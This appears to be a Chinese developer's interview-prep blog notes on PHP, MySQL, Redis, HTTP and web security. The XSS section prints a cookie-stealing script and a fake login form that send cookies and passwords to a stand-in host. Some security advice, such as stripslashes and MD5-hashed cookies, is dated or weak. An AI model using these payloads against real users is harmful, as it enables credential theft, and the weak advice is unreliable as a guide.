总结

谈谈理想

现在经常问到问题比较细也比较小偏,类似高并发,数据库分表分库类似,略微偏运维
有时候回反问你们高并发多少,他们也会不好意思说业务量没上来,
而据我所知,高并发在1000左右,公司规模就相对比较大了,至少是那些大家都熟知的上市公司
有时候现实就这样,不说了,生活要紧

技术知识

  • Nginx+Php-fpm运行原理详解
    [友情链接](https://segmentfault.com/a/1190000007322358)
    
  • Nginx 和 Apache 各有什么优缺点
    [友情链接](https://www.zhihu.com/question/19571087)
    
  • php放注入
    [友情链接](http://www.cnblogs.com/gaf617/p/6149020.html)
    
  • mysql索引讲解
    友情链接

###
1.性能调优、算法数据机构

2.高并发下数据安全、接口冪等性、原子性等

3.分布式下协同、已经锁的处理

4.数据库的分库分表、项目之间的垂直拆分

出现频率高的技术点有:

1.HashMap

2.JVM

3.Dubbo

4.Mybatis

5.Zookeeper

6.http tcp/ip

mysql

1.选择适当的字段类型,特别是主键,如:
保小不保大,datetime和timestamp,datetime占用8个字节,
而timestamp占用4 个字节,只用了一半,而timestamp表示的范围是1970—2037,对于大多数应用绰绰有余啊。
导致引擎放弃使用索引而进行全表扫描:
最好不要给数据库留NULL,尽可能的使用 NOT NULL填充数据库
对于连续的数值,能用 between 就不要用 in,in 和 not in 也要慎用,否则会导致全表扫描
应尽量避免在 where 子句中使用 != 或 <> 操作符
应尽量避免在 where 子句中使用 or 来连接条件,如果一个字段有索引,一个字段没有索引,将导致引擎放弃使用索引而进行全表扫描,可以用union all
应尽量避免在 where 子句中对字段进行表达式操作
应尽量避免在 where 子句中对字段进行函数操作
不要在 where 子句中的“=”左边进行函数、算术运算或其他表达式运算,否则系统将可能无法正确使用索引
尽可能的使用 varchar/nvarchar 代替 char/nchar ,因为首先变长字段存储空间小,可以节省存储空间,其次对于查询来说,在一个相对较小的字段内搜索效率显然要高些
mysql会一直向右匹配直到遇到范围查询(>、<、between、like)就停止匹配

2.适当建立索引
InnoDB就是使用的B+Tree
较频繁的作为查询条件字段应该创建索引
唯一性太差的字段不适合单独创建索引,即使频繁作为查询条件
更新非常频繁的字段不适合创建索引
索引原理
3.对表进行水平划分
4.读写分离

redis

String——字符串
key-value:除了提供与 Memcached 一样的 get、set、incr、decr 等操作外,Redis 还提供了下面一些操作LEN获取字符串长度,原子计数器,GETSET 命令的妙用,请于清空旧值的同时设置一个新值,配合原子计数器使用;
Hash——字典
购物车列表
JSON 用户数据(用户的昵称、年龄、性别、积分);
List——列表
轻松地实现最新消息排行
消息队列
Set——集合
共同关注、共同喜好、二度好友,求交集、并集、差集
Sorted Set——有序集合
带有权重的元素,比如一个游戏的用户得分排行榜,集合中的元素能够按 score 进行有序排列

web安全

php防sql攻击
办法:

stripslashes()函数过滤用户输入
mysql_real_escape_string将 string 中的特殊字符转义,过滤(\x00,\n,\r,\,‘,“,\x1a),因此可以安全用于 mysql_query()

XSS

1. 盗取cookie
通过XSS攻击,由于注入代码是在受害者的浏览器上执行,因此能够很方便地窃取到受害者的Cookie信息。比如,我们只要注入类似如下的代码
1
<script>location.replace("http://www.attackpage.com/record.asp?secret="+document.cookie)</script>
2. 钓鱼攻击

 所谓钓鱼攻击就是构建一个钓鱼页面,诱骗受害者在其中输入一些敏感信息,然后将其发送给攻击者。利用XSS的注入脚本,我们也可以很方便地注入钓鱼页面的代码,从而引导钓鱼攻击

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<script>

  function hack(){
    location.replace("http://www.attackpage.com/record.asp?username="+document.forms[0].user.value + "password=" + document.forms[0].pass.value);
  }

  </script>
  <form>
  <br> <H3>此功能需要登录:</H3 >
  <br><br>请输入用户名:<br>
  <input type=”text” id=”user”name=”user”>
  <br>请输入密码:<br>
  <input type=”password” name =“pass”>
  <br><input type=”submit”name=”login” value=”登录”onclick=”hack()”>
  </form>

它允许恶意web用户将代码植入到提供给其它用户使用的页面中,新浪微博事假

XSS的预防

  1. 输入过滤
    对用户的所有输入数据进行检测,比如过滤其中的“<”、“>”、“/”等可能导致脚本注入的特殊字符,或者过滤“script”、“javascript”等脚本关键字,或者对输入数据的长度进行限制等等。同时,我们也要考虑用户可能绕开ASCII码,使用十六进制编码来输入脚本。因此,对用户输入的十六进制编码,我们也要进行相应的过滤。只要能够严格检测每一处交互点,保证对所有用户可能的输入都进行检测和XSS过滤,就能够有效地阻止XSS攻击

  2. 输出编码
    通过前面对XSS攻击的分析,我们可以看到,之所以会产生XSS攻击,就是因为Web应用程序将用户的输入直接嵌入到某个页面当中,作为该页面的HTML代码的一部分。因此,当Web应用程序将用户的输入数据输出到目标页面中时,只要用HtmlEncoder等工具先对这些数据进行编码,然后再输出到目标页面中。这样,如果用户输入一些HTML的脚本,也会被当成普通的文字,而不会成为目标页面HTML代码的一部分得到执行。

  3. cookie防盗
    利用XSS攻击,攻击者可以很方便地窃取到合法用户的Cookie信息。因此,对于Cookie,我们可以采取以下的措施。首先,我们要尽可能地避免在Cookie中泄露隐私,如用户名、密码等;其次,我们可以将Cookie信息利用MD5等Hash算法进行多次散列后存放;再次,为了防止重放攻击,我们也可以将Cookie和IP进行绑定,这样也可以阻止攻击者冒充正常用户的身份。

作为一名普通的网络用户,在XSS攻击的预防上我们可以采取以下措施。首先,我们不要轻易相信电子邮件或者网页中的不明链接,这些链接很有可能引导反射型XSS攻击或者使我们访问到一些不安全的网页。其次,我们在不必要的时候可以禁用脚本功能,这样XSS注入的脚本就无法得到运行。

filter_var,mysql_real_escape_string,htmlentities,htmlspecialchars,strip_tags

CSRF
CSRF就是跨站请求伪造攻击,你这可以这么理解CSRF攻击:攻击者盗用了你的身份,以你的名义发送恶意请求

文件上传漏洞
办法:
尽量使用POST,限制GET;浏览器Cookie策略;加验证码;Referer Check在Web最常见的应用就是“防止图片盗链”
使用一个Token,放在用户的Session中,或者浏览器的Cookie中,在页面表单附带上Token参数,Token的保密性,尽量把敏感操作由GET改为POST,以form或AJAX形式提交,避免Token泄露。

Session与Cookie

Session:在服务器端创建并存放在服务器的内存中的,Session的内容存储是键值对的列表,格式:名称 | 类型:长度:值
Session的生命周期:在php.ini中 session.gc_maxlifetime 为session设置了生存时间(默认为1440s) 客户端关闭浏览器,不会影响服务器端对session的存储。

Cookie:在服务器端创建并写回到客户端浏览器,Cookie是http标头的一部分,浏览器接到响应头中关于写Cookie的指令则在本地临时文件夹中,创建了一个cookie文件,用来保存的Cookie内容。Cookie内容的存储是键值对的方式 。
Cookie的生命周期:可以设置过期时间,如果不设置则是会话级别的,即关闭浏览器就会消失。

原理:
PHP默认的Session是基于Cookie的,在此期间首先调用session_start()函数,
Session会先判断当前COOKIE[session_name()]是否有值(session_name()返回保存session_id的COOKIE键名),
这个值可以从php.ini找到 session.name = PHPSESSID(默认值PHPSESSID)如果没有值,
函数会创建一个唯一的SessionID,
同时通过header头(header(‘Set-Cookie: session_name()=session_id(); path=/’)) 将SessionID保存到客户端的Cookie中,并且在服务器端生成Session文件.

依赖性:
PHP 中的Session在默认情况下是使用客户端的Cookie来保存session_id的,所以当客户端的Cookie出问题或者禁用的时候就会影响 Session的使用了。但是Session不一定必须依赖cookie。当客户端的Cookie被禁用或出现问题时,PHP会自动把 session_id附着在url中,这样再通过session_id就能跨页使用Session变量了。这种附着也是有一定条件的,即“php.ini 中的session.use_trans_sid = 1或者编译时打开打开了–enable-trans-sid选项”。但是PHP5只能在Linux平台可以自动检测Cookie的状态而在window 平台上没有此功能

请求码

1.1 HTTP协议中几个状态码的含义:503 500 401 403 404 200 301 302。。。
200 : 请求成功,请求的数据随之返回。
301 : 永久性重定向。
302 : 暂时行重定向。
401 : 当前请求需要用户验证。
403 : 服务器拒绝执行请求,即没有权限。
404 : 请求失败,请求的数据在服务器上未发现。
500 : 服务器错误。一般服务器端程序执行错误。
503 : 服务器临时维护或过载。这个状态时临时性的。

php基础

在类内部访问静态成员属性或者方法,使用 self::(注意不是 $slef)

1
2
slef:: $country
slef:: myCountry()

子类访问父类静态成员属性或方法,使用 parent::(注意不是 $parent)

1
2
parent:: $country
parent:: myCountry()

谢谢您请我喝咖啡!